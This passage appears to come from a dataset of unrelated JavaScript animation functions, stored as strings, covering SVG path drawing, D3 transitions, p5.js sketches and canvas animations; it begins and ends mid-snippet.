1.842h19.342v13.615H50.505V40.51zm38.606 8.473h2.996c1.218 0 2.207 1.23 2.207 2.782V93.61c0 1.553-.99 2.813-2.207 2.813H91.8c-.304-.03-.633-.128-1.014-.356-.812-.518-1.675-1.616-1.675-4.98V48.983zm-39.265 14.91c-.38.03-.686.516-.66 1 .05.487.433.875.787.842h20.433c.38 0 .71-.452.71-.937 0-.486-.33-.905-.71-.905H49.845zM38.373 71.88c-.355.065-.66.55-.635 1.003.052.484.432.87.812.808h17.54c.38.032.735-.42.735-.906 0-.484-.355-.905-.736-.905H38.372zm25.763 0c-.38.063-.686.548-.635 1.003.025.484.406.87.787.808h17.538c.38.032.736-.42.736-.906 0-.484-.355-.905-.735-.905H64.136zm-25.763 7.987c-.355.066-.66.55-.635 1.002.052.486.432.873.812.807h17.54c.38.034.735-.418.735-.905 0-.484-.355-.905-.736-.905H38.372zm25.763 0c-.38.066-.686.55-.635 1.002.026.486.407.873.788.807h17.538c.38.034.736-.418.736-.905 0-.484-.356-.905-.736-.905h-17.69zm-25.763 7.988c-.355.063-.66.517-.635 1 .052.486.432.875.812.81h17.54c.38.03.735-.42.735-.905 0-.487-.355-.905-.736-.905H38.372zm25.763 0c-.38.063-.686.517-.635 1 .026.486.407.875.788.81h17.538c.38.03.736-.42.736-.905 0-.487-.356-.905-.736-.905h-17.69z\"\n ];\n obj.attr({\n \"opacity\": 1\n });\n delSvgPath(obj);\n var setT = setTimeout(function () {\n startSvgAnimationTop(obj, e);\n }, 1300);\n\n function startSvgAnimationTop(obj, e) {\n switch (e) {\n case '#women-svg':\n path0 = obj.path(arrWomen[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrWomen[1]);\n path2 = obj.path(arrWomen[2]);\n break;\n case '#men-svg':\n path0 = obj.path(arrMen[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrMen[1]);\n path2 = obj.path(arrMen[2]);\n path3 = obj.path(arrMen[3]);\n break;\n case '#couples-svg':\n path0 = obj.path(arrCouples[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrCouples[1]);\n path2 = obj.path(arrCouples[2]);\n path3 = obj.path(arrCouples[3]);\n path4 = obj.path(arrCouples[4]);\n break;\n case '#old-svg':\n path0 = obj.path(arrOld[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrOld[1]);\n path2 = obj.path(arrOld[2]);\n path3 = obj.path(arrOld[3]);\n break;\n case '#article-svg':\n path0 = obj.path(arrArticle[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrArticle[1]);\n // path2 = obj.path(arrOld[2]);\n // path3 = obj.path(arrOld[3]);\n break;\n default:\n path0 = obj.path(arrWomen[0]).attr({class: \"none-stroke\"});\n path1 = obj.path(arrWomen[1]);\n path2 = obj.path(arrWomen[2]);\n console.log('Я таких значений не знаю Switch');\n }\n length1 = path1.getTotalLength();\n length2 = path2.getTotalLength();\n path1.attr({\n \"stroke-dasharray\": length1 + \" \" + length1,\n \"stroke-dashoffset\": length1\n }).stop().animate({\"stroke-dashoffset\": 0}, 1400, mina.easeinout, function () {\n\n });\n path2.attr({\n \"stroke-dasharray\": length2 + \" \" + length2,\n \"stroke-dashoffset\": length2\n }).stop().animate({\"stroke-dashoffset\": 0}, 1400, mina.easeinout);\n if (path3 !== 0) {\n length3 = path3.getTotalLength();\n path3.attr({\n \"stroke-dasharray\": length3 + \" \" + length3,\n \"stroke-dashoffset\": length3\n }).stop().animate({\"stroke-dashoffset\": 0}, 1500, mina.linear);\n }\n if (path4 !== 0) {\n length4 = path4.getTotalLength();\n\n path4.attr({\n \"stroke-dasharray\": length4 + \" \" + length4,\n \"stroke-dashoffset\": length4\n }).stop().animate({\"stroke-dashoffset\": 0}, 1400, mina.linear);\n }\n }\n\n function delSvgPath(obj) {\n clearTimeout(setT);\n obj.selectAll('path').remove();\n\n\n }\n\n}", "function draw_step(){\n // perform these many iterations\n for (let i = 0; i < controllers.iterations; i++) {\n // set the styling of points\n strokeWeight(controllers.pointStroke);\n // stroke(\"#EC7272\");\n stroke(255);\n // pick next points\n let next = random(points);\n // skip to match condition\n if (controllers.notPrevious && next === previous) continue;\n if (controllers.noAdjacent) {\n var indexOfPrev = points.indexOf(previous)\n if (abs(points.indexOf(next) - indexOfPrev) == 2) continue;\n }\n if (controllers.no2PreviousSame && earlier === previous){\n var indexOfPrev = points.indexOf(previous);\n var indexOfNext = points.indexOf(next);\n if (indexOfNext === mod_index(indexOfPrev-1)) continue;\n if (indexOfNext === mod_index(indexOfPrev+1)) continue;\n }\n // universal step, update current and plot it\n current.x = lerp(current.x, next.x, controllers.compressionRatio);\n current.y = lerp(current.y, next.y, controllers.compressionRatio);\n // if (points.indexOf(next)==0)\n // {\n // // current = rotation_x.mult(current.x).add(rotation_y.mult(current.y));\n // current = createVector(\n // p5.Vector.dot(createVector(0, 1), current),\n // p5.Vector.dot(createVector(-1, 0), current)\n // )\n // }\n point(current.x, current.y);\n // current is nesxt\n earlier = previous;\n previous = next;\n }\n}", "function animate_mine() { \n clk2 = 800;\n clk = 200;\n if (clk3 > 98){\n up = 1;\n }\n if (clk3 < 2){\n up = 0;\n }\n if (up == 0){\n clk3 ++;\n }\n if (up == 1){\n clk3 --;\n }\n if (clk5 > 498){\n ri = 1;\n }\n if (clk5 < 2){\n ri = 0;\n }\n if (ri == 0){\n clk5 ++;\n }\n if (ri == 1){\n clk5 --;\n }\n if(clk4 < 2000){\n loadVertices();\n }\n clk4 ++;\n}", "spiral()\n {\n\n noStroke();\n \n console.log(\"hhhhhhhhhhhhhhhh\"+this.ypos);\n if (keyIsPressed ==true) {\n background(71,1,99,100); ///changing the opacity, keeps the wavy effect in background\n\n fill (255,66,60,100);\n // rotate(PI/5.0);\n arc (this.xpos, this.ypos, random(10,this.hgt), random(10,this.wdth), PI, PI); \n arc (this.xpos+30, this.ypos, random(20,this.hgt),random(20,this.wdth), PI, TWO_PI);\n arc (this.xpos-20,this.ypos, random(30,this.hgt), random(30, this.wdth), PI, TWO_PI);\n arc (this.xpos, this.ypos, random(10,this.hgt), random(10,this.wdth), PI, PI);\n arc (this.xpos+30, this.ypos, random(20,this.hgt),random(20,this.wdth), PI, TWO_PI);\n// translate(this.xpos+100, this.ypos+10);\n rotate(PI/0.5);\n push();\n arc (this.xpos-20,this.ypos, random(30,this.hgt), random(30, this.wdth), PI, TWO_PI);\n pop();\n }\n}", "animation() {}", "function AnimateNext(arr) {\n\treturn function () {\n\t\t$(arr[0]).animate({opacity: 1}, 300, AnimateNext(arr.slice(1)));\n\t}\n}", "animate() {\n // this.path.position.x += Math.random() * .5 - .25;\n this.path.position.y += Math.random() * 2 - 0.75;\n }", "function drawLine(pathToDraw,delay,duration,easing){\n var path = document.querySelector(pathToDraw);\n var length = path.getTotalLength();\n path.style.transition = path.style.WebkitTransition = \"none\";\n path.style.strokeDasharray = length + \" \" + length;\n path.style.strokeDashoffset = length;\n path.getBoundingClientRect();\n path.style.transition = path.style.WebkitTransition = \"stroke-dashoffset \" + duration + \"s \" + easing;\n setTimeout(function(){\n path.style.strokeDashoffset = \"0\";\n },delay);\n\n }", "function animate(){\n\n\tanimateCloth();\n\trender();\n\trequestAnimationFrame( animate );\n\n\t\n}", "function myDraw(t,duration) {\n let p = t/duration;\n let g = (1-p)*100\n \n for (let i=1;i<points.length;i++) {\n let f = (i/points.length)*100\n stroke(g,f,100);\n let v11 = points[i-1]; \n let v12 = points[i];\n let v21 = points2[i-1]\n let v22 = points2[i]\n let v1 = p5.Vector.add(v11.copy().mult(p),v21.copy().mult(1-p));\n let v2 = p5.Vector.add(v12.copy().mult(p),v22.copy().mult(1-p));\n line(v1.x,cy(v1.y),v2.x,cy(v2.y)); // the moving line\n }\n}", "function animateIn() {\n\n chartRing.selectAll('.chart-ring')\n .style('opacity', 0)\n .transition()\n .duration(DURATION)\n .delay(function (d, i) {\n return (DELAY + (i * 100));\n })\n .style('opacity', 1);\n }", "addStep(closePoint, farPoint, edgePoint) {\n this.closePoints.push(closePoint);\n this.farPoints.push(farPoint);\n // this.edgePoints.push(edgePoint);\n \n let lastIndex = this.getCount() - 2;\n let currentIndex = this.getCount() - 1;\n if(lastIndex < 0) {lastIndex = 0;}\n \n let polygonDrawable = (new PolygonDrawable([this.farPoints[lastIndex], this.farPoints[currentIndex], this.closePoints[currentIndex], this.closePoints[lastIndex]])).setStyle(this.trailStyle.copy().setStep(this.trailStyle.getStep())).setLifespan(this.trailStyle.duration).setCamera(this.camera);\n \n // polygonDrawable.translate(Vector.subtraction(farPoint, closePoint).normalize(16));\n \n this.polygonDrawables.push(polygonDrawable);\n // this.edgePolygons.push((new PolygonDrawable([this.farPoints[lastIndex], this.farPoints[currentIndex], this.edgePoints[currentIndex], this.edgePoints[lastIndex]])).setStyle(ColorTransition.from(this.edgeStyle)).setLifespan(this.edgeStyle.duration).setCamera(this.camera));\n \n this.lifespan = Math.max(this.lifespan, this.trailStyle.duration, this.edgeStyle.duration);\n \n for(let i = 0; i < this.otherTrails.length; ++i) {\n let otherTrail = this.otherTrails[i];\n \n if(otherTrail.edgeWidth) {\n let vector = Vector.subtraction(farPoint, closePoint).normalize(otherTrail.edgeWidth);\n \n closePoint = farPoint;\n farPoint = vector.add(farPoint);\n \n if(otherTrail.edgeWidth < 0) {\n let x = closePoint;\n closePoint = farPoint;\n farPoint = x;\n }\n }\n \n otherTrail.addStep(closePoint, farPoint);\n }\n \n return this;\n }", "function updateCurve() {\r\n\t// turn off event listener so users can't click during animation\r\n $(\".globe-list\").off(\"click\");\r\n $(\".countryList\").off(\"click\");\r\n\t// determine the speed of the animation\r\n\tdrawCount += 2;\r\n\t// animate every curve by changing drawCount\r\n\tfor (var i = 0; i < groups.lines.children.length; i++) {\r\n\t\tgroups.lines.children[i].geometry.setDrawRange(0, drawCount);\r\n\t}\r\n\tif (drawCount <= 200) { //draw until 200 points\r\n\t\trequestAnimationFrame(updateCurve);\r\n\t} else {\r\n\t\t// set drawCount to 0 in order for the animation in the next click\r\n\t\tdrawCount = 0;\r\n\t\t// put event listener back after animation so users can click them again\r\n \t$(\".globe-list\").on(\"click\", clickFn);\r\n \t$(\".countryList\").on(\"click\", clickFn);\r\n \t$([$(\".globe-canvas\"),$(\".globe-list\"), $(\".countryList\")]).each(function(){\r\n\t\t\t $(this).on('click', stopAutoRotation);\r\n\t\t\t });\r\n\t\treturn;\r\n\t}\r\n}", "function animateArrow() {\n\t\tvar count = 0;\n\t\twindow.setInterval(function() {\n\t\t\tcount = (count + 1) % 200;\n\n\t\t\tvar icons = snappedPolyline.get('icons');\n\t\t\ticons[0].offset = (count / 2) + '%';\n\t\t\tsnappedPolyline.set('icons', icons);\n\t\t}, 20);\n\t}", "function animatePieChart(context) {\n if (context.type === 'slice') {\n\n var pathLength = context.element._node.getTotalLength();\n context.element.attr({ 'stroke-dasharray': pathLength + 'px ' + pathLength + 'px' });\n context.element.attr({ 'stroke-dashoffset': -pathLength + 'px' });\n context.element.animate({\n 'stroke-dashoffset': {\n dur: 400,\n from: -pathLength + 'px',\n to: 0,\n easing: Chartist.Svg.Easing.easeOutQuint,\n fill: 'freeze'\n }\n });\n\n // var pathLength = context.element._node.getTotalLength();\n // context.element.attr({ 'stroke-dasharray': pathLength + 'px ' + pathLength + 'px' });\n // var animationDefinition = {\n // 'stroke-dashoffset': {\n // id: 'anim' + context.index,\n // dur: pieChartAnimationOptions.speed,\n // from: -pathLength + 'px',\n // to: '0px',\n // easing: Chartist.Svg.Easing.easeOutQuint,\n // fill: 'freeze'\n // }\n // };\n // if (context.index !== 0) { animationDefinition['stroke-dashoffset'].begin = 'anim' + (context.index - 1) + '.end'; }\n // context.element.attr({ 'stroke-dashoffset': -pathLength + 'px' });\n // context.element.animate(animationDefinition, false);\n }\n }", "render_animation( caller )\n { // display(): Draw the selected group of axes arrows.\n if( this.groups[ this.selected_basis_id ] )\n for( let a of this.groups[ this.selected_basis_id ] )\n this.shapes.axes.draw( caller, this.uniforms, a, this.material );\n }", "_animateDots(which_dot) {\n if (!this.state.should_animate) return\n\n if (which_dot >= this.state.dot_opacities.length) { // restart fade animation when we hit end of list\n which_dot = 0\n let min = this.props.minOpacity\n this.state.target_opacity = this.state.target_opacity == min ? 1 : min\n }\n\n Animated.timing(this.state.dot_opacities[which_dot], { // start fade animation on subsequent dot\n toValue: this.state.target_opacity,\n duration: this.props.animationDelay,\n }).start(this._animateDots.bind(this, which_dot + 1))\n }", "drawPath() {\n this.ctx.stroke();\n this.begin();\n }", "drawEveryIteration() {\n //let index = this.scenarioParameters.populationSize - 1;\n let index = this.activeIndividuals[0] || 0;\n\n if (!this.population[index].alive) {\n background(255, 0, 0);\n return;\n }\n var screen_width = 100;\n var screen_height = 100;\n var screen_offset_x = 0;\n var screen_offset_y = 0;\n var world_width = this.scenarioVariables.x_threshold * 2;\n var scale = screen_width / world_width;\n\n var polewidth = 10;\n var polelen = scale * (2 * this.scenarioVariables.length);\n var cartwidth = 0.5;\n var cartheight = 0.3;\n var carty = 100 - cartheight * scale;\n //cart\n background(0);\n fill(0);\n stroke(255, 0, 0);\n //console.log(this.population[0]);\n\n rect(\n (this.population[index].inputs[0] - cartwidth / 2) * scale +\n screen_width / 2,\n carty,\n cartwidth * scale,\n cartheight * scale\n );\n //pole\n stroke(255, 255, 255);\n strokeWeight(1);\n\n line(\n this.population[index].inputs[0] * scale + screen_width / 2,\n carty,\n this.population[index].inputs[0] * scale +\n scale * polelen * Math.sin(this.population[index].inputs[2]) +\n screen_width / 2,\n carty -\n Math.abs(scale * polelen * Math.cos(this.population[index].inputs[2]))\n );\n }", "translateDots(path, count, back, offset, total) {\n let pnode = path.node();\n // will be called for each element in the flow selection (for each dot)\n return function(d) {\n const off = offset / total / count;\n // will be called with t going from 0 to 1 for each dot\n return function(t) {\n // start the points at different positions depending on their value (d)\n let tt = t * 1000; // total time\n let f = ((tt + (d.i * 1000) / count) % 1000) / 1000; // fraction\n f = (f + off) % 1;\n if (back) f = 1 - f;\n // l needs to be calculated each tick because the path's length might be changed during the animation\n let l = pnode.getTotalLength();\n let p = pnode.getPointAtLength(f * l);\n return \"translate(\" + p.x + \",\" + p.y + \")\";\n };\n };\n }", "function animate() {\n\treqAnimFrame(animate);\n\tcanvasDraw();\n}", "next() {\n const self = this;\n if (!self.isAnimating) { self.index += 1; self.to(self.index); }\n }", "function animate(){\n svg.transition()\n .duration(30000)\n .ease(d3.easeLinear)\n .tween(\"year\", tweenYear);\n }", "moveTo(dest, dur=1000, smoothFunc=(e)=>e) {\n return new Promise((resolve, reject) => {\n Animate.tween(this, { pos:clonePos(dest) }, dur, smoothFunc).after(() => {\n resolve();\n });\n });\n }", "set animationCurveValue(value) {}", "function animation_play() {\n if (animationState.mode === 'play' || !pointFeature.data()) {\n return;\n }\n var data = pointFeature.data(),\n datalen = data.length;\n if (!datalen) {\n return;\n }\n animationState.duration = 15000; // in milliseconds\n if (animationState.position === undefined || animationState.position === null) {\n animationState.position = 0;\n }\n animationState.startTime = Date.now() - animationState.duration * animationState.position;\n if (!animationState.styleArrays || datalen !== animationState.order.length) {\n animationState.order = new Array(datalen);\n if (!animationState.orderedData) {\n var posFunc = pointFeature.position(), posVal, i;\n // sort our data by x so we get a visual ripple across it\n for (i = 0; i < datalen; i += 1) {\n posVal = posFunc(data[i], i);\n animationState.order[i] = {i: i, x: posVal.x, y: posVal.y};\n }\n animationState.order = animationState.order.sort(function (a, b) {\n if (a.x !== b.x) { return b.x - a.x; }\n if (a.y !== b.y) { return b.y - a.y; }\n return b.i - a.i;\n }).map(function (val) {\n return val.i;\n });\n } else {\n for (i = 0; i < datalen; i += 1) {\n animationState.order[i] = i;\n }\n }\n animationState.styleArrays = {\n p: new Array(datalen),\n radius: new Array(datalen),\n fill: new Array(datalen),\n fillColor: new Array(datalen),\n fillOpacity: new Array(datalen),\n stroke: new Array(datalen),\n strokeColor: new Array(datalen),\n strokeOpacity: new Array(datalen),\n strokeWidth: new Array(datalen)\n };\n for (i = 0; i < datalen; i += 1) {\n animationState.styleArrays.fillColor[i] = {r: 0, g: 0, b: 0};\n animationState.styleArrays.strokeColor[i] = {r: 0, g: 0, b: 0};\n }\n }\n animationState.mode = 'play';\n animation_frame();\n }", "draw(p, dt){\n this.objects = this.objects.filter(animObject=>{\n animObject.draw(p, dt, this);\n\n return !animObject.finished(p);\n });\n }", "function init() {\n animate();\n for(var i in points) {\n shiftPoint(points[i]);\n }\n}", "function cp_meters_arcTween(d, i, b)\n{\n meters = cp_svg.selectAll(\".progress_meter\"); //get the objects to be tweened\n current_val = meters[0][i]._current; //get current values\n\n //Create a function that takes as input a number between 0 and 1, 0 = current value and 1 being\n //the next value. Any value in between it returns an intermediate value that represents\n //this part of the transition\n var interpolater = d3.interpolate(current_val.value, d.value);\n\n //t for time. It is the transition time, from 0 to 1. So if the transition is 750 ms,\n //t = 1 when 750 ms have passed\n return function(t)\n {\n //The arc function needs to be passed the index of the meter, current value and maximum.\n //The latter two must be passed in an object format.\n max = meters[0][i]._current.maximum;\n var tween_angle_val = {value: interpolater(t), maximum: max};\n\n return cp_meters.cp_arc(tween_angle_val, i);\n };\n}", "function transition() {\n\n var animate = requestAnimationFrame(transition);\n if (x <= 0) {\n x += 5;\n draw();\n } else {\n cancelAnimationFrame(animate);\n }\n }", "render() {\n stroke(this.layerColor)\n noFill()\n strokeWeight(this.weight)\n\n push()\n translate(width / 2, height / 2)\n for (let i = 1; i < this.numSteps + 1; i++) {\n ellipse(0, 0, this.centerOffset + (i * this.singleStep), this.centerOffset + (i * this.singleStep))\n }\n\n pop()\n }", "start(){\n if(this.points.length<3){\n this.drawFinishIfLessThan3Points();\n return;\n }\n let intervallID = setInterval(() => {\n this.drawCurrentState();\n this.calculateNextStep(intervallID); \n }, 100); \n }", "function fade(opacity) {\n return function(g, i) {\n\n console.log(\"Test\");\n\n svg.selectAll(\".chord path\")\n .filter(function(d) { return d.source.index != i && d.target.index != i; })\n .transition()\n .style(\"fill\", \"#FF0000\");\n };\n}", "animateFill () {\n TweenMax.to(this, 1, {\n fillingProgress: 1,\n onComplete: event => {\n const tl = new TimelineMax({ delay: 2 })\n tl.to(this.fillingDotToLine, 1, { strokeWidth: 0 })\n tl.set(this, { fillingProgress: 0 })\n tl.set(this.fillingDotToLine, { strokeWidth: this.thickness })\n }\n })\n }", "function animateSegment()\n{\n /*\n * Canvas objects consist of circle, line, circle groups in each segment\n */\n if(index < canvas.getObjects().length-2)\n {\n /*\n *Compute delay for next line segment from distance between circles\n */\n var sideA = Math.abs(canvas.item(index).left - canvas.item(index+2).left);\n var sideB = Math.abs(canvas.item(index).top - canvas.item(index+2).top);\n var length = Math.sqrt((sideA*sideA) + (sideB*sideB));\n /*\n * Delay is shifted based on a set rate of animation (100px/second)\n */\n var rate = 100;\n var delta = length/rate;\n var delay = 1000*delta;\n /*\n * Show the circle from which the line will start\n */\n canvas.item(index).animate(\"opacity\", 1.0,\n {\n duration: 1,\n onChange: canvas.renderAll.bind(canvas)\n });\n /*\n * Reveal the line \n */\n canvas.item(index+1).animate(\"opacity\", 1.0,\n {\n duration: 1,\n onChange: canvas.renderAll.bind(canvas)\n });\n /*\n * Animate the line to the second circle\n */\n canvas.item(index+1).animate(\"x2\", canvas.item(index+2).left,\n {\n duration: delay,\n onChange: canvas.renderAll.bind(canvas),\n onComplete: function()\n {\n /*\n * Reveal the finishing circle when complete \n */\n alpha = !alpha;\n if(alpha && omega)\n {\n canvas.item(counter).animate(\"opacity\", 1.0,\n {\n duration: 1,\n onChange: canvas.renderAll.bind(canvas)\n });\n }\n }\n });\n canvas.item(index+1).animate(\"y2\", canvas.item(index+2).top,\n {\n duration: delay,\n onChange: canvas.renderAll.bind(canvas),\n onComplete: function()\n {\n /*\n * Reveal the finishing circle when complete \n */\n omega = !omega;\n if(alpha && omega)\n {\n canvas.item(counter).animate(\"opacity\", 1.0,\n {\n duration: 1,\n onChange: canvas.renderAll.bind(canvas)\n });\n }\n }\n });\n /*\n * Continue animation in a daisy chain fashion\n */\n setTimeout(function()\n {\n animateSegment()\n }, delay);\n /*\n * Increment by three because a segment is a group of circle, line, circle objects\n */\n index += 3;\n }\n else if(index == canvas.getObjects().length-1)\n {\n /*\n * On final segment reveal finish arrow\n */\n canvas.item(index).animate(\"opacity\", 1.0,\n {\n duration: delay/2,\n onChange: canvas.renderAll.bind(canvas)\n });\n /*\n * If coordinates are set create and display the infobox\n */\n if(!isNaN(coordinates.x) && !isNaN(coordinates.y))\n {\n /*\n * Open the infobox with some settings\n */\n infobox.open(\n {\n header: company+\" <br> \"+suite,\n status: \"success\",\n left: coordinates.x+\"px\",\n top: coordinates.y+\"px\"\n });\n /*\n * Reveal infobox\n */\n $(\"#infobox-wrapper\").animate(\n {\n opacity: 1.0\n }, 2000);\n }\n /*\n * Init the tracer function by resetting the index and delay\n */\n index = 1;\n pathTrace();\n }\n}", "function pathTween_extline() {\n var interpolate = d3.scale.quantile()\n .domain([0,1])\n .range(d3.range(1, d2.length + 1));\n return function(t) {\n return line(d2.slice(0, interpolate(t)));\n };\n }", "function test_animate() {\n //Do the preview (IS THIS NEEDED?)\n if (AUTO_ANIM) {\n for (var i = 0; i < NODES.length; i++) {\n if (NODES[i].parent) {\n var r = Math.min(Math.max(parseFloat(atob(NODES[i].id)), 0.3), 0.7);\n NODES[i].th = NODES[i].th0 + Math.sin((new Date()).getTime() * 0.003 / r + r * Math.PI * 2) * r * 0.5;\n } else {\n NODES[i].th = NODES[i].th0\n }\n }\n }\n doodleMeta.forwardKinematicsNodes(NODES);\n doodleMeta.calculateSkin(SKIN);\n\n //Do the transfered drawings\n if (AUTO_ANIM) {\n for (let i = 0; i < drawings.length; i++) {\n drawings[i].animate();\n }\n }\n //anim_render();\n master_render();\n}", "function easeFrames(tl, pl, startStamp, dataObj, onIterate) {\n // Parse easing string into floats\n let easing = parseBezier(dataObj.easing);\n\n let diffX = ((tl.x*-1) - pl.x);\n let diffY = ((tl.y*-1) - pl.y);\n let dx, dy;\n\n // Transfrom frame loop\n (function loop() {\n\n let t = (Date.now() - startStamp) / dataObj.duration;\n\n if (t > 1) t = 1.01;\n if (t < 1) {\n dx = (diffX * bezier.apply(null, easing)(t)) + tl.x;\n dy = (diffY * bezier.apply(null, easing)(t)) + tl.y;\n\n // Fix JS Rounding\n dx = Math.ceil(dx * 100) / 100;\n dy = Math.ceil(dy * 100) / 100;\n onIterate({x: dx, y: dy});\n\n window.requestAnimationFrame(loop);\n }\n }());\n}", "function medAsteroidsA() {\n var medRockA = paper.path(\"M -25 500 l 1 10 l -3 8 l 5 4 l 5 0 l 5 0 l 6 -5 l 0 -7 l 2 0 l -2 -7 l -3 0 l -3 0 Z\");\n medRockA.attr({ fill: 'black', stroke: 'white' }); \n var medRockC = paper.path(\"M -25 100 l 1 10 l -3 8 l 5 4 l 5 0 l 5 0 l 6 -5 l 0 -7 l 2 0 l -2 -7 l -3 0 l -3 0 Z\");\n medRockC.attr({ fill: 'black', stroke: 'white' }); \n medRockA.animate({\n path: \"M 350 -50 l 1 10 l -3 8 l 5 4 l 5 0 l 5 0 l 6 -5 l 0 -7 l 2 0 l -2 -7 l -3 0 l -3 0 Z\",\n transform: 'r' + 180\n }, 7500, function () {\n medRockA.remove();\n medRockC.animate({\n path: \"M 450 325 l 1 10 l -3 8 l 5 4 l 5 0 l 5 0 l 6 -5 l 0 -7 l 2 0 l -2 -7 l -3 0 l -3 0 Z\",\n transform: 'r' + 180\n }, 7500, function () {\n medRockC.remove();\n });\n }\n\n )\n }", "function animate(e){\n if (radius == width/2){\n\texpanding = false;\n }else{\n\tif (radius == 0){\n\t expanding = true;\n\t}\n } \n if (expanding){\n\tradius++;\n }else{\n\tradius--;\n }\n drawDot();\n hello = window.requestAnimationFrame(animate);\n}", "function newDrawing(data){\n noFill();\n\n for (var i = 0; i < 200; i += 20) {\n stroke (250);\n bezier(data.x-(i/2.0), data.y, 410, 20, 440, 300, 240-(i/16.0), 300+(i/8.0));\n } \n}", "function animate() {\r\n if (!doAnim) {\r\n river.context=null; \r\n return;\r\n }\r\n\trequestAnimFrame( animate );\r\n river.background.draw();\r\n}", "function startDrawingPath() {\n length = 0;\n orig.style.stroke = \"#ffffff\";\n timer = setInterval(increaseLength, 1000 / drawFPS);\n}", "function resumeAnimation() {\n startAnimation()\n}", "function spike_spinning() {\n var paper = new Raphael($('#mood_canvas')[0], 600, 800);\n var leaf1 = paper.circle(250, 250, 20).attr({fill: '#800'});\n var leaf2 = paper.circle(450, 250, 30).attr({fill: '#080'});\n var cycling = false;\n var cycle = function() {\n cycling = true;\n leaf1.animate({translation:\"100 0\", r: 25}, 350, function() {\n leaf1.animate({translation:\"100 0\", r: 20}, 350, function() {\n leaf1.animate({translation:\"-100 0\", r: 15}, 350, function() {\n leaf1.animate({translation:\"-100 0\", r: 20}, 350, function() {\n if(!cycling) setTimeout(cycle, 10);\n cycling = false;\n });\n }).toBack();\n });\n }).toFront();\n leaf2.animate({translation:\"-100 0\", r: 25}, 350, function() {\n leaf2.animate({translation:\"-100 0\", r: 30}, 350, function() {\n leaf2.animate({translation:\"100 0\", r: 35}, 350, function() {\n leaf2.animate({translation:\"100 0\", r: 30}, 350, function() {\n if(!cycling) setTimeout(cycle, 10);\n cycling = false;\n });\n }).toFront();\n });\n }).toBack();\n };\n cycle();\n}", "function animation_memory_location (delta){\t \n show_arrow (delta);\n}", "function transition( path ) {\n\t\tpath.attr( \"stroke-dashoffset\", pathLength ) // set full length first for ltr anim\n\t\t\t.transition()\n\t\t\t.duration( 3000 )\n\t\t\t.attrTween( \"stroke-dasharray\", dashArray )\n\t\t\t.attr( \"stroke-dashoffset\", 0 );\n\t}", "function animateWagon(pace) {\n\tvar position = 0; //start position for the image slicer\n\tconst interval = 200/pace;\n\n\tvar times_run = 0;\n\ttID = setInterval ( () => {\n\t\tvar ctx = (document.getElementById(\"myCanvas\")).getContext(\"2d\"); \n\t\tvar img = document.getElementById(\"wagon\");\n\t\tctx.drawImage(img, 0, position, 80, 29, 420, 70, 120, 45);\n\n\t\t// We increment the position by 30 each time\n\t\tif (position < 30) { \n\t\t\tposition = position + 30;\n\t\t}\n\t\telse { \n\t\t\tposition = 0;\n\t\t}\n\t\t//reset the position to 0px, once position exceeds 30px\n\t\t\n\t\ttimes_run += 1; \n\t\tif(times_run > 1000/interval){\n\t\t\tclearInterval(tID);\n\t\t}\n\t} ,interval ); //end of setInterval\n\n} //end of animateWagon()", "function fade(opacity) {\n return function(d, i) {\n console.log(d);\n console.log(i);\n chsvg.selectAll(\"path.chord\")\n .filter(function(d) { return d.source.index != i && d.target.index != i; })\n .transition()\n .style(\"stroke-opacity\", opacity)\n .style(\"fill-opacity\", opacity);\n };\n}", "function testss () {\r\n \r\n let ChainInstance = i2d.chain.sequenceChain();\r\n var nodes = renderer.createEl({ \r\n el: \"path\",\r\n attr: {\r\n d: \"M30,40 a1,1 0 0 1 0,20 a1,1 0 0 1 1,-20 a1,1 0 0 1 0,20 a10,10 90 0 0 0,-20 h10 v30 a10,5 0 0 1 -20,0 \"\r\n // v- = up v+ = down h+ = right h- = left\r\n },\r\n style: {\r\n lineWidth: 5,\r\n strokeStyle: \"#f00000\",\r\n shadowColor: \"red\",\r\n lineCap: \"round\",\r\n },\r\n }).forEach(function (da) {\r\n // every line animation executable is being added to the chain instance.\r\n chain.add(this.animateExe({\r\n duration: 1000,\r\n ease: 'linear',\r\n direction: \"alternate\",\r\n attr: {\r\n d : result2\r\n }\r\n }))\r\n });\r\n \r\n ChainInstance.start();\r\n ChainInstance.start(); \r\n\r\n // For a given object, it creates Chain instance and for given childrens it creates Elements and adds the animateExe executables to the chain instance.\r\n// and Triggers the chain execution. On completion of ever child transition, render method will be invoked recursively for the subsequent childrens.\r\nfunction render (d) {\r\n console.log(d);\r\n // Based on selectedType, chain instance will be created.\r\n var chain = (selectedtype === 'sequence' ? i2d.chain.parallelChain() : i2d.chain.sequenceChain());\r\n \r\n // Creating Lines for childrens.\r\n g.createEls(d.children, {\r\n el: 'line',\r\n attr: {\r\n x1: d.x, y1: d.y,\r\n x2: d.x, y2: d.y\r\n },\r\n style: {\r\n lineWidth: 4,\r\n strokeStyle: '#ff3679'\r\n }\r\n }).forEach(function (da) {\r\n // every line animation executable is being added to the chain instance.\r\n chain.add(this.animateExe({\r\n duration: 1000,\r\n ease: 'easeInOutSin',\r\n attr: {\r\n x2: da.x,\r\n y2: da.y\r\n },\r\n \r\n end: function (d) {\r\n g.createEl({\r\n el: 'circle',\r\n attr: {\r\n cx: d.x, cy: d.y, r: 3\r\n },\r\n style: { fillStyle: 'white' }\r\n });\r\n console.log(d);\r\n // on end to the animation, trigger render method recursively to perform subsequent children animations.\r\n render(d);\r\n }\r\n }))\r\n });\r\n console.log(d);\r\n // chain execution starts.\r\n chain.start();\r\n}\r\n\r\n\r\n}", "function tweenPath(b) {\n //b.innerRadius = 0;\n var i = d3.interpolate({startAngle: 0, endAngle: 0}, b);\n return function(t) { return arc(i(t)); };\n}", "function metropolisNextIteration(){\n \tmetropolisJump();\n \tredraw();\n }", "function animateData(){\n //Add logic here to animate the data\n\n}", "async function animateLine(i, j) {\n if (i === j) return;\n let st = realCoordinates(i);\n let en = realCoordinates(j);\n let dx = (en.x - st.x) / 200;\n let dy = (en.y - st.y) / 200;\n for (let i = 1; i < 200; i++) {\n await sleep(1);\n en = { x: st.x + dx * i, y: st.y + dy * i };\n drawLineUpperLayer(st, en);\n }\n clearCanvas();\n modifyEdge(i, j);\n}", "function animateIntro (){\n\t\n\t\td3.selectAll(\".countrypath\")\n\t\t\t.attr(\"opacity\", 1)\t\n\t}", "function drawPaths( obj, moveTO, 